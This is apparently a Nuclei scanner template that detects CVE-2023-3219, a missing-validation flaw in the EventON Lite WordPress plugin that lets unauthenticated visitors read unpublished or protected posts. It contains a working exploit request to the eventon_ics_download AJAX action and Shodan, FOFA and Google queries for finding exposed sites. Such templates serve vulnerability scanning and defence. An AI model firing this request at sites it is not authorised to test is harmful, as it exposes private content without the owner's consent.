id: CVE-2023-3219

info:
  name: EventON Lite < 2.1.2 - Arbitrary File Download
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors
    to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.
  impact: |
    Unauthenticated attackers can exploit missing validation in the eventon_ics_download AJAX action to access any post content including unpublished or protected posts through ICS export functionality.
  remediation: Fixed in version 2.1.2
  reference:
    - https://wpscan.com/vulnerability/72d80887-0270-4987-9739-95b1a178c1fd
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3219
    - https://packetstormsecurity.com/files/173992/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
    - https://wordpress.org/plugins/eventon-lite/
    - http://packetstormsecurity.com/files/173992/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-3219
    cwe-id: CWE-639
    epss-score: 0.74017
    epss-percentile: 0.98853
    cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: myeventon
    product: eventon
    framework: wordpress
    shodan-query:
      - http.html:/wp-content/plugins/eventon/
      - http.html:/wp-content/plugins/eventon-lite/
    fofa-query:
      - wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon-lite/
    publicwww-query:
      - "/wp-content/plugins/eventon-lite/"
      - /wp-content/plugins/eventon/
    google-query: inurl:"/wp-content/plugins/eventon/"
  tags: cve,cve2023,wpscan,packetstorm,wordpress,wp-plugin,wp,eventon-lite,bypass,myeventon,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN:VCALENDAR"
          - "END:VCALENDAR"
        condition: and

      - type: word
        part: header
        words:
          - "text/Calendar"

      - type: status
        status:
          - 200
# digest: 490a0046304402205761913ddeaaac574dfa5104a4d8f9a808d487fdef93595c9461675412de880d022073c2d53f241dd36095654a1900769055ca407582ec3beaa028f5b5b87b3acc10:922c64590222798bb761d5b6d8e72950